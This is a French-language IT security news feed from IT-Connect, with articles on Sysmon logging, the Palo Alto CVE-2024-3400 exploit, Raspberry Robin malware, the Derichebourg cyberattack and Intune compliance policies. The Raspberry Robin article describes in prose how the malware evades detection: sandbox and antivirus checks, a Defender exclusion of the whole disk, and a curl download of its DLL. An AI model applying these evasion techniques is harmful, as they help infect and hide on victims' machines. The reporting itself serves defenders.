<p>À nouveau, nous avons un grand nombre d'informations à propos de l'évènement, le processus parent, le nom de la clé de registre modifiée, sa valeur, on y retrouve clairement l'exécutable malveillant, etc. Vous remarquerez également la présence du "<strong>T1060</strong>" dans l'attribut "<strong>RuleName</strong>", il s'agit de l'identifiant du TTP relatif à cette action malveillante. Cet ajout p<strong>rovient de la configuration SwitfOnSecurity </strong>et vise à aider l'analyste à <strong>comprendre la nature et l'impact d'un évènement</strong> de sécurité.</p>



<p>Pour mieux comprendre l'intérêt et les bénéfices de cette information, regardons par exemple le contenu du TTP T1060 sur le site du framework MITRE ATT&amp;CK (le framework ayant été mis à jour récemment, l'action au TTP 1060 rédige vers son nouvel identifiant :  <a href="https://attack.mitre.org/techniques/T1547/001/" target="_blank" rel="noopener nofollow" title="T1547.001">T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</a> ):</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/d433292c.windows-securite-sysmon-logs-registryadd-mitre.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-mitre.png"><img decoding="async" width="800" height="407" src="media/6899e88a.windows-securite-sysmon-logs-registryadd-mitre-800x407.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-mitre-800x407.png" alt="Extrait des détails du TTP1547.001 (anciennement T1060)." class="wp-image-78385" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-mitre-800x407.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-mitre-550x280.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-mitre-150x76.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-mitre-768x391.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-mitre-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-mitre.png 1345w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Extrait des détails du TTP1547.001 (anciennement T1060).</figcaption></figure></div>


<p>Il ne s'agit là que d'un extrait, mais l'on <strong>comprend ici bien plus en détail les enjeux de cet évènement</strong> : l'attaquant a cherché à établir une persistance sur le système en modifiant une clé de registre contenant des binaires exécutés au démarrage.</p>



<p>Enfin, voici l'évènement relatif au téléchargement d'un binaire malveillant depuis un serveur appartenant à l'attaquant, action qui n'était pas du tout journalisée par les logs par défaut de Windows : </p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="695" height="477" src="media/3410db84.windows-securite-sysmon-logs-wget.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-wget.png" alt="Evènement Sysmon 3 relatif à une connexion réseau sortante." class="wp-image-78387" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-wget.png 695w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-wget-550x377.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-wget-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-wget-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-wget-130x90.png 130w" sizes="(max-width: 695px) 100vw, 695px" /><figcaption class="wp-element-caption">Evènement Sysmon 3 relatif à une connexion réseau sortante. </figcaption></figure></div>


<p>Là aussi, nous obtenons des informations claires et précises sur l'évènement, notamment l'IP, nom et port de destination, qui sont des <strong>informations importantes en termes de détection (grâce aux <a href="https://en.wikipedia.org/wiki/Indicator_of_compromise#:~:text=Indicator%20of%20compromise%20(IoC)%20in,confidence%2C%20indicates%20a%20computer%20intrusion." target="_blank" rel="noopener nofollow" title="IOC">IOC</a>) et d'investigation</strong>.</p>



<p>Pour mieux comprendre chaque évènement produit par Sysmon, nous pouvons utiliser la documentation Microsoft, qui référence précisément les eventID et leur définition : <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events" target="_blank" rel="noopener nofollow" title="Sysmon - Events">Sysmon - Events</a></p>



<h2 class="wp-block-heading">VII. Conclusion</h2>



<p>J'espère que cet article vous a aidé à <strong>mieux comprendre ce qu'est Sysmon</strong>, son utilisation standard ainsi que sa plus-value <strong>pour la sécurité d'un système Windows</strong> et plus globalement du système d'information. Nous n'avons pas fait un tour complet de l'outil, notamment en ce qui concerne les évènements plus techniques (<em>CreateRemoteThread</em>, <em>RawAccessRead</em>, <em>Process Tampering</em>, etc.), ni la construction complète d'un fichier de configuration avec ses exclusions, exceptions, etc. Mais, le contenu de l'article devrait être suffisant pour mettre en place et utiliser Sysmon au sein de votre système d'information.</p>



<p>Ce qu'il est important de retenir au-delà de Sysmon est l'importance d'avoir une <strong>journalisation la plus complète et précise </strong>possible concernant les <strong>évènements de sécurité</strong>, puis d'être capable de la centraliser (SIEM) et de surveiller activement et comprendre ces différents évènements. Dans cette démarche macro, Sysmon n'est finalement qu'un point de départ.</p>



<p><em>N'hésitez pas à donner votre avis dans les commentaires ou sur <a href="https://discord.com/invite/KMWN7TUQfm" target="_blank" rel="noopener nofollow" title="">notre Discord</a> !</em></p><p>The post <a href="https://www.it-connect.fr/windows-utilisation-de-sysmon-pour-tracer-les-activites-malveillantes/">Windows : utilisation de Sysmon pour tracer les activités malveillantes</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79698
title: Patchez votre firewall Palo Alto : un exploit est disponible pour la CVE-2024-3400
uri: Patchez-votre-firewall-Palo-Alto-un-exploit-est-disponible-pour-la-C
url:
https://www.it-connect.fr/patchez-votre-firewall-palo-alto-un-exploit-est-disponible-pour-la-cve-2024-3400/

content:
<p><strong>Depuis quelques jours, la faille de sécurité critique découverte dans le système PAN-OS utilisé par les firewalls de Palo Alto Networks fait beaucoup parler d'elle. Désormais, un code d'exploitation est disponible et pourrait être utilisé pour compromettre les firewalls exposés sur Internet. Faisons le point.</strong> </p>



<h2 class="wp-block-heading">Rappel sur la vulnérabilité CVE-2024-3400</h2>



<p>Voici un résumé de la situation actuelle, avec quelques dates et points clés :</p>



<p>Depuis le 26 mars 2024, une <strong>nouvelle faille de sécurité zero-day </strong>est exploitée par les cybercriminels dans le cadre d'attaque. Elle a été utilisée pour déployer une porte dérobée nommée Upstyle et pivoter vers l'infrastructure interne de l'entreprise. Lors d'une attaque, les pirates sont parvenus à voler des données sensibles telles que la base de données Active Directory.</p>



<p>Vendredi 12 avril 2024, Palo Alto Networks a publié un <a href="https://security.paloaltonetworks.com/CVE-2024-3400" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a> pour évoquer cette vulnérabilité (<strong>CVE-2024-3400</strong>) et les risques associés. </p>



<p>Dimanche 14 avril 2024, l'éditeur a publié de premiers correctifs de sécurité à destination de ses firewalls sous PAN-OS : <strong>PAN-OS 10.2.9-h1</strong>, <strong>PAN-OS 11.0.4-h1</strong> et <strong>PAN-OS 11.1.2-h3</strong>. Depuis, de nouveaux correctifs ont été publiés, car Palo Alto Networks va publier des patchs pour une dizaine de versions différentes de PAN-OS.</p>



<p>Voici nos précédents articles pour approfondir le sujet :</p>



<ul>
<li><a href="https://www.it-connect.fr/firewalls-palo-alto-cette-faille-de-securite-zero-day-non-corrigee-est-deja-exploitee-dans-des-attaques/" target="_blank" rel="noopener" title="">Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !</a></li>



<li><a href="https://www.it-connect.fr/palo-alto-cve-2024-3400-exploitee-depuis-mars-2024-pour-deployer-une-porte-derobee/" target="_blank" rel="noopener" title="">Firewalls Palo Alto : la faille de sécurité CVE-2024-3400 exploitée depuis mars 2024 pour déployer une porte dérobée !</a></li>



<li><a href="https://www.it-connect.fr/firewalls-palo-alto-cve-2024-3400-patchs-securite-sont-disponibles/" target="_blank" rel="noopener" title="">Firewalls Palo Alto – CVE-2024-3400 : les premiers correctifs de sécurité sont disponibles !</a></li>
</ul>



<h2 class="wp-block-heading">Un code d'exploit et des dizaines de milliers de firewalls vulnérables</h2>



<p>Le mardi 16 avril 2024, watchTowr Labs a publié <a href="https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/" target="_blank" rel="noopener nofollow" title="">un rapport </a>au sujet de cette vulnérabilité, ainsi qu'<strong>un PoC d'exploitation </strong>permettant d'exécuter des commandes à distance sur un firewall vulnérable. Dans le même temps, Justin Elze, directeur technique de TrustedSec, a également <a href="https://twitter.com/HackingLZ/status/1780239802496864474" target="_blank" rel="noopener nofollow" title="">évoqué sur X </a>(Twitter) un exploit utilisé par les cybercriminels pour exporter la configuration du pare-feu Palo Alto pris pour cible.</p>



<p>D'après <a href="https://dashboard.shadowserver.org/statistics/iot-devices/map/?day=2024-04-15&amp;vendor=palo+alto+networks&amp;model=globalprotect&amp;geo=all&amp;data_set=count&amp;scale=log" target="_blank" rel="noopener nofollow" title="">une carte partagée par The Shadowserver Foundation</a>,<strong> il y a environ 156 000 firewalls Palo Alto exposé sur Internet et potentiellement vulnérables</strong>. Ce chiffre est à prendre avec des pincettes, car il ne tient pas compte de la version de PAN-OS, ni de la configuration.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="534" src="media/ce9f0c48.Palo-Alto-Networks-CVE-2024-3400-Carte-des-firewalls.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Carte-des-firewalls.jpg" alt="Palo Alto Networks - CVE-2024-3400 - Carte des firewalls.jpg" class="wp-image-79699" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Carte-des-firewalls.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Carte-des-firewalls-550x367.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Carte-des-firewalls-150x100.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Carte-des-firewalls-768x513.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Carte-des-firewalls-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Vendredi dernier, le chercheur en sécurité  <a href="https://twitter.com/nekono_naha/status/1778716137582457301/photo/1" target="_blank" rel="noopener nofollow" title="">Yutaka Sejiyama, a <strong>partagé sur X (Twitter) </strong></a><strong>des statistiques au sujet des firewalls vulnérables à cette faille de sécurité</strong>. Il en a identifié un peu plus de 82 000 firewalls. Ce chiffre a certainement diminué désormais, mais le nombre de cibles potentielles doit rester élevé.</p>



<p>Voici quelques chiffres clés (nombre de firewalls vulnérables par pays) :</p>



<ul>
<li><strong>États-Unis</strong> : 32 916</li>



<li><strong>Allemagne </strong>: 3 268</li>



<li><strong>Royaume-Uni </strong>: 3 213</li>



<li><strong>Canada </strong>: 2 239</li>



<li><strong>France </strong>: 1 794 (sur un total de 3 162, si l'on s'appuie sur la carte de The Shadowserver Foundation)</li>



<li><strong>Belgique </strong>: 772</li>



<li><strong>Suisse </strong>: 561</li>
</ul>



<h2 class="wp-block-heading">Le correctif de sécurité comme seule et unique solution pour se protéger</h2>



<p><strong>La seule solution pour vous protéger, c'est d'installer le correctif de sécurité sur votre firewall.</strong> La mesure d'atténuation partagée initialement par Palo Alto consistait à désactiver la télémétrie, mais elle n'est pas efficace et ne permet pas de se protéger.</p>



<p>Voici ce que l'on peut lire dans le bulletin de sécurité de Palo Alto : "<em>La désactivation de la télémétrie sur l'équipement n'est plus une mesure d'atténuation efficace. Il n'est pas nécessaire que la télémétrie soit activée pour que les pare-feux PAN-OS soient exposés aux attaques liées à cette vulnérabilité.</em>"</p>



<p>Malgré tout, si vous avez un abonnement à la fonction "<strong>Threat Prevention</strong>", vous pouvez <strong>bloquer cette attaque en activant la protection contre la menace avec l'ID 95187</strong>. De plus, assurez-vous que cette protection soit activée sur l'interface GlobalProtect, en suivant <a href="https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184" target="_blank" rel="noreferrer noopener">cette page</a> de la documentation. Cette méthode est toujours efficace.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/exploit-released-for-palo-alto-pan-os-bug-used-in-attacks-patch-now/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/patchez-votre-firewall-palo-alto-un-exploit-est-disponible-pour-la-cve-2024-3400/">Patchez votre firewall Palo Alto : un exploit est disponible pour la CVE-2024-3400</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79764
title: Par erreur, Microsoft a ajouté l’application de l’IA « Copilot » à Windows Server
uri: 2024-04-18-
url: https://www.it-connect.fr/par-erreur-microsoft-a-ajoute-app-ia-copilot-a-windows-server-2022/
content:
<p><strong>Par erreur, Microsoft a déployé la nouvelle application Copilot, correspondante à son IA, sur Windows Server ! Ceci est lié à une mise à jour du navigateur Microsoft Edge. Voici ce qu'il faut savoir !</strong></p>



<p>Si vous utilisez <strong>Windows Server 2022 </strong>et que vous avez constaté la présence d'une nouvelle application nommée "<strong>Microsoft Copilot</strong>" dans <strong>la liste des programmes installés</strong>, sachez que vous n'êtes pas seul. Au-delà de son nom, elle est facilement identifiable grâce à son logo désormais utilisé un peu partout par Microsoft. De plus, sa taille est surprenante : seulement 8 Ko.</p>



<p><strong>Que se passe-t-il ? </strong>Tout a commencé par <strong>l'introduction de "Copilot" dans les versions "Preview" de Windows Server 2025</strong>. En effet, depuis plusieurs mois, nous avons accès à <a href="https://www.it-connect.fr/windows-server-2025-preview-nouveautes-build-26063/" target="_blank" rel="noopener" title="Windows Server 2025 Preview : quelles nouveautés avec la dernière version 26063 ?">des versions de Windows Server 2025 qui donnent un aperçu des nouveautés</a> à venir et des changements opérés par Microsoft. </p>



<ul>
<li><a href="https://www.it-connect.fr/tuto-installer-windows-server-2025/" target="_blank" rel="noopener" title="Comment installer Windows Server 2025 (Preview) ?">Comment installer Windows Server 2025 ?</a></li>
</ul>



<p>S'il y a bien un changement qui n'a pas plus, c'est l'ajout de l'IA "Microsoft Copilot" à Windows Server 2025. Suite aux nombreuses réactions négatives, <strong>Microsoft a pris la décision de retirer Copilot de Windows Server 2025. </strong>Mais, alors, comment cette application est-elle arrivée sur Windows Server 2022 ?</p>



<h2 class="wp-block-heading">Microsoft Copilot ajouté par une mise à jour du navigateur Edge</h2>



<p>Sur<a href="https://learn.microsoft.com/en-us/windows/release-health/status-windows-11-23h2#edge-updates-might-cause-microsoft-copilot-app-to-show-up-in-installed-apps?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title=""> la page de son site destinée à évoquer "<em>les problèmes connus</em>"</a>, Microsoft s'est expliqué : "<em>Les mises à jour de la version 123.0.2420.65 du navigateur Edge, publiées à partir du 28 mars 2024, peuvent installer de manière incorrecte un nouveau package (MSIX) appelé "<strong>Microsoft chat provider for Copilot in Windows</strong>" sur les appareils Windows. En conséquence, l'application Microsoft Copilot peut apparaître dans les applications installées dans le menu Paramètres.</em>" - Ceci affecte Windows Server, ainsi que Windows 10 et Windows 11.</p>



<p>Autrement dit, ceci <strong>ne correspond pas à l'ajout complet de Microsoft Copilot à Windows Server 2022</strong>, et cela <strong>ne permet pas d'utiliser l'IA directement depuis la barre des tâches du serveur</strong>. "<em>Il est important de noter que le fournisseur de chat Microsoft pour Copilot dans Windows n'exécute aucun code ou processus, et n'acquiert, n'analyse ou ne transmet aucune donnée relative à l'appareil ou à l'environnement à quelque titre que ce soit.</em>", précise Microsoft, afin de rassurer ses clients.</p>



<p>Cette application vise à préparer l'activation future de Microsoft Copilot sur certains appareils Windows, dont les serveurs Windows Server ne devraient pas faire partie. Désormais, <strong>l'entreprise américaine cherche une solution pour supprimer cette application</strong> : "<em>Nous travaillons sur une solution et fournirons une mise à jour dans une prochaine version de Microsoft Edge.</em>"</p>



<p><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-copilot-app-on-windows-server-mistakenly-added-by-edge/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/par-erreur-microsoft-a-ajoute-app-ia-copilot-a-windows-server-2022/">Par erreur, Microsoft a ajouté l’application de l’IA « Copilot » à Windows Server</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79768
title: Toujours plus furtif, le malware Raspberry Robin contourne Microsoft Defender pour infecter Windows
uri: Toujours-plus-furtif-le-malware-Raspberry-Robin-contourne-Microsoft-D
url:
https://www.it-connect.fr/malware-raspberry-robin-contourne-microsoft-defender-pour-infecter-windows/

content:
<p><strong>Le malware Raspberry Robin est en circulation depuis plusieurs années et il continue de se propager pour infecter les appareils Windows. Désormais, il est capable de contourner Microsoft Defender et d'être très furtif sur la machine infectée. Faisons le point !</strong></p>



<p>À la base, le logiciel malveillant <a href="https://www.it-connect.fr/dapres-microsoft-le-ver-raspberry-robin-est-present-sur-plusieurs-centaines-de-reseaux/" target="_blank" rel="noopener" title="">Raspberry Robin se propage principalement par l'intermédiaire de clés USB</a>, comme nous l'avions évoqué dans un précédent article publié en juillet 2022. Mais, depuis mars 2024, les pirates semblent bien décidés à le distribuer plus largement, alors qu'initialement, il ciblait plutôt les industries et les grandes entreprises.</p>



<h2 class="wp-block-heading">Campagnes de phishing et fausses publicités</h2>



<p>Un<a href="https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/" target="_blank" rel="noopener nofollow" title=""> nouveau rapport</a> publié par l'équipe de chercheurs en sécurité HP Wolf Security met en avant les nouvelles capacités et techniques employées par Raspberry Robin. Désormais, <strong>la clé USB est remplacée par de fausses publicités et des campagnes de phishing par e-mails</strong>. L'objectif étant de <strong>rediriger les utilisateurs vers des sites malveillants</strong> contrôlés par les pirates sur lesquels sont hébergés <strong>des fichiers WSF (Windows Script Files) obscurci</strong>. </p>



<p><em>"Le format de fichier WSF prend en charge les langages de script, tels que JScript et VBScript, qui sont interprétés par le composant Windows Script Host intégré au système d'exploitation Windows</em>.", peut-on lire. De plus, les chercheurs en sécurité précisent que <strong>le code des scripts WSF distribués par les pirates est long et difficile à analyser</strong>. En effet, il y a <strong>beaucoup de lignes de code inutiles</strong>, uniquement là pour brouiller les pistes.</p>



<h2 class="wp-block-heading">Une analyse minutieuse de la machine infectée</h2>



<p>La dernière version de Raspberry Robin se démarque également par <strong>sa capacité à contourner les solutions de sécurité</strong> et à passer entre les mailles du filet. Avant de passer à l'action, <strong>le malware effectue une analyse complète de la machine pour déterminer l'environnement sur lequel il se trouve</strong>, avant de passer à la phase d'infection. </p>



<p>Parmi les éléments vérifiés, il y a la <strong>version de Windows</strong>, le <strong>type d'appareils </strong>(machine virtuelle, serveur, poste de travail), le type de processeur, la détection de la solution de virtualisation via l'adresse MAC, et enfin, <strong>il vérifie la présence éventuelle de certains antivirus</strong> (Kaspersky, ESET, Avast, Avira, Check Point et Bitdefender). Si l'un de ces antivirus est identifié, le script s'arrête. L'objectif principal de cette série de vérifications est de <strong>s'assurer que le malware est exécuté sur l'appareil d'un utilisateur final</strong>.</p>



<p>Par contre, les chercheurs en sécurité précisent que Raspberry Robin est capable de contourner Microsoft Defender : "<em>Il est donc plus probable que le script s'exécute sur un terminal protégé par Microsoft Defender. Pour échapper à la détection, le script ajoute une exception à Microsoft Defender qui exclut l'ensemble du disque principal de l'analyse antivirus.</em>"</p>



<h2 class="wp-block-heading">La phase finale : le déploiement de Raspberry Robin</h2>



<p>Si tous les voyants sont au vert et qu'il s'agit de l'appareil d'un utilisateur final,<strong> le script va télécharger la DLL Raspberry Robin depuis un serveur situé sur Internet</strong>. Pour cela, il va s'appuyer sur la commande "curl" prise en charge nativement sur Windows, et il va stocker la DLL malveillante dans le dossier "AppData" local. Ainsi, Raspberry Robin est déployé sur la machine et<strong> il peut agir sans déclencher d'alerte sur Microsoft Defender</strong>.</p>



<p>Raspberry Robin est capable de <strong>télécharger et d'exécuter des charges utiles supplémentaires</strong>. Les cybercriminels ont l'habitude de l'utiliser pour déployer un ransomware ou d'autres malwares comme IcedID, BumbleBee et Truebot.</p><p>The post <a href="https://www.it-connect.fr/malware-raspberry-robin-contourne-microsoft-defender-pour-infecter-windows/">Toujours plus furtif, le malware Raspberry Robin contourne Microsoft Defender pour infecter Windows</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79795
title: Derichebourg : 15 à 20 millions d’euros de perte, suite à une cyberattaque
uri: Derichebourg-15-à-20-millions-d-euros-de-perte-suite-à-une-cybe
url: https://www.it-connect.fr/derichebourg-15-a-20-millions-euros-de-perte-suite-a-une-cyberattaque/
content:
<p><strong>En novembre 2023, la société Derichebourg a subi une cyberattaque ayant entrainé une paralysie totale et temporaire de son logiciel d'exploitation. Cet incident de sécurité aurait fait perdre entre 15 et 20 millions d'euros à l'entreprise.</strong></p>



<p>Dans la nuit du 9 au 10 novembre 2023, le groupe français Derichebourg, spécialisé dans le recyclage de métaux, avait été victime d'une cyberattaque ayant eu <strong>un impact important sur une partie de son activité</strong> : "<em>Le groupe Derichebourg a subi une cyberattaque qui n’a pas interrompu ses activités opérationnelles mais en a cependant perturbé le déroulement.</em>", peut-on lire dans le <a href="https://www.derichebourg.com/dam?media-id=661e9ebe5804e9ea75c6ccab" target="_blank" rel="noopener nofollow" title="">communiqué de presse</a> publié mardi 16 avril 2024.</p>



<p>La cyberattaque a impactée directement <strong>le logiciel d'exploitation principal</strong> utilisé par les équipes du groupe Derichebourg et Derichebourg Multiservices. Cette indisponibilité, bien que temporaire, a été relativement longue à en croire les informations fournies dans le communiqué de presse : "<em>Cette cyberattaque a cependant perturbé le déroulement des activités du fait de l'indisponibilité temporaire du principal logiciel d'exploitation, en particulier au cours des mois de novembre 2023, décembre 2023 et dans une moindre mesure janvier 2024.</em>"</p>



<p>Cette indisponibilité du logiciel d'exploitation causée par la cyberattaque a <strong>perturbé le pilotage de l'activité de l'entreprise</strong>, et il a été <strong>à l'origine de pertes de volumes d'achats </strong>et de retard dans la saisie informatique. Résultat, Derichebourg estime que cette cyberattaque a <strong>un impact financier compris entre 15 et 20 millions d'euros.</strong> À cela s'ajoute des difficultés liées à la conjoncture actuelle et à la difficulté du marché.</p>



<p>Pour ces différentes raisons, le groupe Derichebourg estime qu'il est peu probable d'atteindre son objectif initial pour l'année 2024 : <strong>350 millions d'euros</strong> d'excédent. Enfin, sachez que suite à la publication de ce communiqué de presse, le titre Derichebourg a fortement reculé à la Bourse de Paris.</p>



<p><a href="https://www.usine-digitale.fr/article/suite-a-une-cyberattaque-derichebourg-perd-15-a-20-millions-d-euros.N2211635" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/derichebourg-15-a-20-millions-euros-de-perte-suite-a-une-cyberattaque/">Derichebourg : 15 à 20 millions d’euros de perte, suite à une cyberattaque</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72579
title: Intune – Comment (et pourquoi) configurer une stratégie de conformité Windows ?
uri: Intune-Comment-(et-pourquoi)-configurer-une-stratégie-de-conformi
url:
https://www.it-connect.fr/intune-comment-et-pourquoi-configurer-une-strategie-de-conformite-windows/

content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons aborder la notion de "Stratégies de conformité" dans Microsoft Intune. Qu'est-ce qu'une stratégie de conformité ? Quel est l'intérêt d'une stratégie de conformité ? Comment configurer une stratégie de conformité Windows dans Intune ? Cet article répondra à ces différentes questions.</strong></p>



<ul>
<li><a href="https://youtu.be/-WXCom_yV8c" target="_blank" rel="noopener nofollow" title="">Cliquez ici pour regarder la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/-WXCom_yV8c" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>



<p>Pour ceux qui débutent avec Intune, nous vous encourageons à lire cet article d'introduction :</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-debuter-avec-microsoft-intune/" title="">Comment débuter avec Microsoft Intune ?</a></li>
</ul>



<p>Pour uniformiser la sécurité de vos appareils, vous devriez aussi vous intéresser à ces articles :</p>



<ul>
<li><a href="https://www.it-connect.fr/tuto-intune-comment-activer-et-configurer-bitlocker-sur-windows/" target="_blank" rel="noopener" title="Intune – Comment activer et configurer BitLocker sur Windows ?">Stratégie Intune - Chiffrer Windows avec BitLocker</a></li>



<li><a href="https://www.it-connect.fr/tuto-intune-configuration-windows-laps/" target="_blank" rel="noopener" title="Microsoft Intune – Comment mettre en place Windows LAPS ?">Stratégie Intune - Configurer Windows LAPS</a></li>



<li><a href="https://www.it-connect.fr/intune-comment-configurer-le-pare-feu-windows/" target="_blank" rel="noopener" title="Intune – Comment configurer le pare-feu Windows ?">Stratégie Intune - Configurer le pare-feu Windows</a></li>
</ul>



<h2 class="wp-block-heading">II. Qu'est-ce qu'une stratégie de conformité Intune ?</h2>



<p><strong>Une stratégie de conformité Intune va permettre à une entreprise de s'assurer que tous les appareils utilisés par les employés respectent les règles de base en matière de sécurité. </strong></p>



<p>Par exemple, nous allons pouvoir nous assurer que le pare-feu est actif sur Windows et qu'il y a bien une protection antivirus opérationnelle. Si ce n'est pas le cas, nous allons recevoir une alerte et il sera possible de limiter les tentatives d’accès effectués à partir de cet appareil non conforme. </p>



<p>La stratégie de conformité est d'autant plus intéressante lorsqu'elle est couplée avec<strong> les stratégies d'accès conditionnel </strong>puisque nous pourrons accorder une autorisation d'accès uniquement si l'appareil respecte sa stratégie de conformité. Ce qui permet de bloquer les connexions à partir d'un appareil non conforme.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="800" height="621" src="media/b5ac0771.une-Acces-conditionnel-avec-conformite-des-appareils-800x621.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Acces-conditionnel-avec-conformite-des-appareils-800x621.png" alt="Intune - Accès conditionnel avec conformité des appareils" class="wp-image-79566" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Acces-conditionnel-avec-conformite-des-appareils-800x621.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Acces-conditionnel-avec-conformite-des-appareils-550x427.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Acces-conditionnel-avec-conformite-des-appareils-150x116.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Acces-conditionnel-avec-conformite-des-appareils-768x596.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Acces-conditionnel-avec-conformite-des-appareils-50x39.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Acces-conditionnel-avec-conformite-des-appareils.png 968w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Dans la suite de cet article, nous allons apprendre à configurer les paramètres généraux de cette fonctionnalité, avant de configurer les paramètres de notifications et de créer une stratégie de conformité Intune. </p>



<p><strong>Cette stratégie de conformité Windows aura pour objectif de vérifier les points suivants :</strong></p>



<ul>
<li>Pare-feu Windows Defender actif</li>



<li>Module TPM actif</li>



<li>Antivirus actif</li>



<li>Logiciel anti-espion et logiciel anti-malware actifs</li>



<li>Protection en temps réel active</li>
</ul>



<p>Nous pourrions ajouter d'autres conditions comme la vérification du Secure Boot, l'état de BitLocker, etc.</p>



<h2 class="wp-block-heading">III. Stratégies de conformité : paramètres généraux</h2>



<p>Nous allons commencer par configurer les paramètres de stratégie de conformité au niveau du tenant Microsoft 365. Autrement dit, il s'agit de paramètres communs à l'ensemble des appareils, des utilisateurs et des stratégies.</p>



<p>Connectez-vous au centre d'administration Microsoft Intune. Voici un lien direct si besoin :</p>



<ul>
<li><a href="https://intune.microsoft.com" target="_blank" rel="noopener nofollow" title="">intune.microsoft.com</a></li>
</ul>



<p>Ensuite, cliquez sur "<strong>Appareils</strong>" puis sur "<strong>Conformité</strong>" afin de pouvoir cliquer sur le bouton "<strong>Paramètres de conformité</strong>". Vous pouvez aussi passer par "<strong>Sécurité du point de terminaison</strong>", "<strong>Conformité de l'appareil</strong>" puis  "<strong>Paramètres de conformité</strong>".</p>



<p>Ici, nous allons retrouver deux paramètres importants :</p>



